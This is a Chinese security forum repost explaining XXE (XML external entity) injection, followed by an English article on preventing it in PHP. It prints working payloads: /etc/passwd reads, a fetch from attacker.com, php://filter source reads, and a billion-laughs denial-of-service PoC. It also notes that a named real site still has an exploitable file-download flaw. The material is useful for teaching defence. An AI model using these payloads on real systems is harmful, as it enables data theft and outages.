搜索
查看: 563|回复: 0

XXE注入攻击与防御

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2016-12-26 23:15:40 | 显示全部楼层 |阅读模式
转载备份


0×00 前言

XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进⾏行处理时引发的安全问题.
在XML1.0标准⾥里,XML文档结构⾥里定义了实体(entity)这个概念.实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容.如果在这个过程中引入了”污染”源,在对XML文档处理后则可能导致信息泄漏等安全问题.

entity翻译为”实体”。它的作用类似word中的”宏”,也可以理解为DW中的模板,你可以预先定义一个entity,然后在一个文档中多次调用, 或者在多个文档中调用同一个entity(XML定义了两种类型的entity。一种是我们这里说的普通entity,在XML文档中使用;另一种是参数 entity,在DTD文件中使用。)。

0×01 威胁
XXE漏洞目前还未受到广泛关注,Wooyun上几个XXE引起的安全问题:

借助XXE,攻击者可以实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等.
对于不同XML解析器,对外部实体有不同处理规则,在PHP中默认处理的函数为: xml_parse和simplexml_load xml_parse的实现方式为expat库,默认情况不会解析外部实体,而simplexml_load默认情况下会解析外部实体,造成安全威胁.除 PHP外,在Java,Python等处理xml的组件及函数中都可能存在此问题

0×02 语法
要写Payload,首先要对XML实体语法有一定了解
XML中entity的定义语法为:

  1. <!DOCTYPE filename
  2. [
  3. <!ENTITY entity-name "entity-content"
  4. ]>
复制代码

如果要引用一个外部资源:

  1. <!DOCTYPE test
  2. [  
  3.     <!ENTITY test SYSTEM "http://xxx.xxx.com/test.xml">   
  4. ]>
复制代码

ENTITY可以使用SYSTEM关键字,调用外部资源,而这里是支持很多的协议,如:http;file等

然后,在其他DoM结点中可以使用如:&test;引用该实体内容.

那么,如果在产品功能设计当中,解析的xml是由外部可控制的,那将可能形成,如:文件读取,DoS,CSRF等漏洞.

如果要引用一个外部资源,可以借助各种协议 几个例子:

  1. file:///path/to/file.ext

  2. http://url/file.ext

  3. php://filter/read=convert.base64-encode/resource=conf.php
复制代码

故构造几种简单的Payload模型如下:

(1)读取文件内容

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xdsec [
  3. <!ELEMENT methodname ANY >
  4. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  5. <methodcall>
  6. <methodname>&xxe;</methodname>
  7. </methodcall>
复制代码

(2)读取网站内容

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xdsec [
  3. <!ELEMENT methodname ANY >
  4. <!ENTITY xxe SYSTEM "http://attacker.com/text.txt" >]>
  5. <methodcall>
  6. <methodname>&xxe;</methodname>
  7. </methodcall>
复制代码

如果包含文件失败,可能是由于读取php等文件时文件本身包含的<等字符.可以使用Base64编码绕过,如:

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xdsec [
  3. <!ELEMENT methodname ANY >
  4. <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
  5. <methodcall>
  6. <methodname>&xxe;</methodname>
  7. </methodcall>
复制代码

0×03 攻击
借助XXE,有几种可用且公开的攻击方式:

拒绝服务
POC

  1. <?xml version = "1.0"?>
  2. <!DOCTYPE lolz [
  3. <!ENTITY lol "lol">
  4. <!ELEMENT lolz (#PCDATA)>
  5. <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  6. <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  7. <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  8. <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  9. <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  10. <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  11. <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  12. <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  13. <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
  14. <lolz>&lol9;</lolz>
复制代码

POC中中先定义了lol实体,值为”lol”的字符串,后在下面又定义了lol2实体,lol2实体引用10个lol实体,lol3又引用了10个 lol2实体的值,依此类推,到了最后在lolz元素中引用的lol9中,就会存在上亿个”lol”字符串此时解析数据时未做特别处理,即可能造成拒绝服 务攻击。
此外还有一种可能造成拒绝服务的Payload,借助读取/dev/random实现.

内网信息
借助各种协议如http,XXE可以协助扫描内网,可能可以访问到内网开放WEB服务的Server,并获取其他信息

[/url]


文件读取

最常规也是最有效的利用思路

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xdsec [
  3. <!ELEMENT methodname ANY >
  4. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  5. <methodcall>
  6. <methodname>&xxe;</methodname>
  7. </methodcall>
复制代码

附上两张截图,实现文件读取的过程

[url=http://jinglingshu.b0.upaiyun.com/uploads/2014/07/jinglingshu_2014-07-09_15-43-04.jpg]

[/url]

0×04 防御
1.检查所使用的底层xml解析库,默认禁止外部实体的解析
2.使用第三方应用代码及时升级补丁
3.同时增强对系统的监控,防止此问题被人利用
对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数

0×05 参考
[url=https://www.owasp.org/index.php/Testing_for_XML_Injection_%28OWASP-DV-008%29]https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)

http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html
http://cn2.php.net/libxml_disable_entity_loader
http://projects.webappsec.org/w/page/13247004/XML%20Injection
http://drops.wooyun.org/papers/1911

http://www.uml.org.cn/safe/201405191.asp


ps:pull-in任意文件遍历/下载这个网站的漏洞还存在,可以用作学习。XXE注入的本质是网站允许提交xml内容,而后台处理xml时不规范导致存在解析了xml内容中的外部实体。因此,如果网站允许提交xml内容,则可能存在XXE注入漏洞。


Preventing XXE in PHP

There’s an injection attack that’s been around for a while now that’s slipped under the radar for a lot of web application developers. Unfortunately, it can be one that could cause some serious information disclosure (or exploits) if it’s not taken care of. XXE (an XML eXternal Entity) injection attack takes advantage of a part of the XML structure that’s usually reserved for defining custom entities in your XML documents – the ENTITY portion of the DOCTYPE definition. This section is usually used to define custom entities for the document such as:

  1. <!DOCTYPE root [
  2.     <!ENTITY test1 "testing">
  3.     <!ENTITY mantra "test all the things">
  4. ]>
复制代码

In the above example you’ll see two custom entities that we’ve added to our document –

  1. test1
复制代码


and mantra. This lets us do some easy (and multiple) substitutions in our XML document using the entity versions of these two, &test1; and &mantra. When these entites are expanded, their replacements strings are put in their place. This is a pretty simple example, but it should make it easier to pick up on what’s coming next.

So, this is a handy feature to have when you need it, but there’s lots of languages out there, PHP included, that don’t take something into consideration: external references. See, in our example above, we set the value to a string that we determined. What happens when the XML is coming from an outside source…like with a web service. The incoming XML could contain just about anything. Now, hopefully your code is only looking for certain values, but that’s pretty easy to figure out, especially if you’ve done a good job documenting your APIs.

The real problem is that, in PHP, when you use one of the XML parsing methods (dosen’t matter which – XMLReader, DOM or SimpleXML – they all pretty much handle it the same way by default. They take whatever entities are defined in the DOCTYPE header and try to expand them. This is good news for those looking for convenience but bad news for those that are more security minded out there as it can lead to XXE attacks without any kind of warning from the parser.

Let’s look at an example to see how it could be dangerous:

  1. <?php
  2. $badXml = '<!DOCTYPE root
  3.     [
  4.     <!ENTITY foo SYSTEM "http://test.localhost:8080/contents.txt">
  5.     ]>
  6.     <test><testing>&foo;</testing></test>';
  7. ?>
复制代码

In the above example, we’ve defined the foo entity in our header as a link to a text document on an external site, probably one of our own. When the PHP handlers try to parse this file, they automagically substitute the &foo; entitiy reference with the contenst of that text file. So, say our PHP script is using SimpleXML to parse the incoming XML document:

  1. <?php
  2. $goodXML = '<test><testing>my value</testing></test>';
  3. $doc = simplexml_load_string($goodXml);
  4. echo $doc->testing;
  5. ?>
复制代码

Now, in this example, we’re giving it a good XML structure, the kind we’re expecting with a valid value for testing. Now, imagine what might happen if we gave it the $badXML contents instead and the contents.txt file contained a bit of HTML or XML markup itself (something scary like ascript tag) and you had no idea. This could lead to all sorts of problems including:

  • Cross-site scripting issues if echoed back out without filtering
  • Remote file inclusion (RFI)
  • Data injection

Really, just about any exploit you can think of might come in this way. So, as a PHP developer with security in mind, how can you prevent issues like this from happening? Well, there’s a few ways to go about it, but what they really boil down to is one thing – don’t load external entities. Since all of the XML parsing functionality that PHP offers is based on the libxml libraries, there’s one function that’s essentially a kill switch to prevent the loading of these entities:

  1. <?php
  2. libxml_disable_entity_loader(true);
  3. ?>
复制代码

The libxml_disable_entity_loader function tells the underlying libxml parsing to not try to interpret the values of the entities in the incoming XML and leave the entity references intact. If you’re using SimpleXML, this is really the only choice to prevent an XXE attack in the incoming XML. Fortunately, the two other XML parsing methods offer a few more features to help keep you safe while still allowing for the expansion of XML entities.

  1. <?php
  2. // with the XMLReader functionality:
  3. $doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);

  4. // with the DOM functionality:
  5. $dom = new DOMDocument();
  6. $dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
  7. ?>
复制代码

In both cases, we’re adding in some predefined constant values (by name) that tell the parser to either not allow a network connection during load (LIBXML_NONET) or to try to parse the XML according to the DTD (LIBXML_DTDLOAD|LIBXML_DTDATTR). Both of these methods will keep your application safer from XXE issues. Of course, the XML you’re receiving is from an outside source and you always want to validate the data you pull from the XML to ensure it’s a) the type you expect it to be and b) that it’s not some kind of data being injected into your system.

Summary

I hope I’ve raised awareness about this very real issue for you and your XML-using application and given you a few armaments to help prevent any issues it might cause in your application.

Resources

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表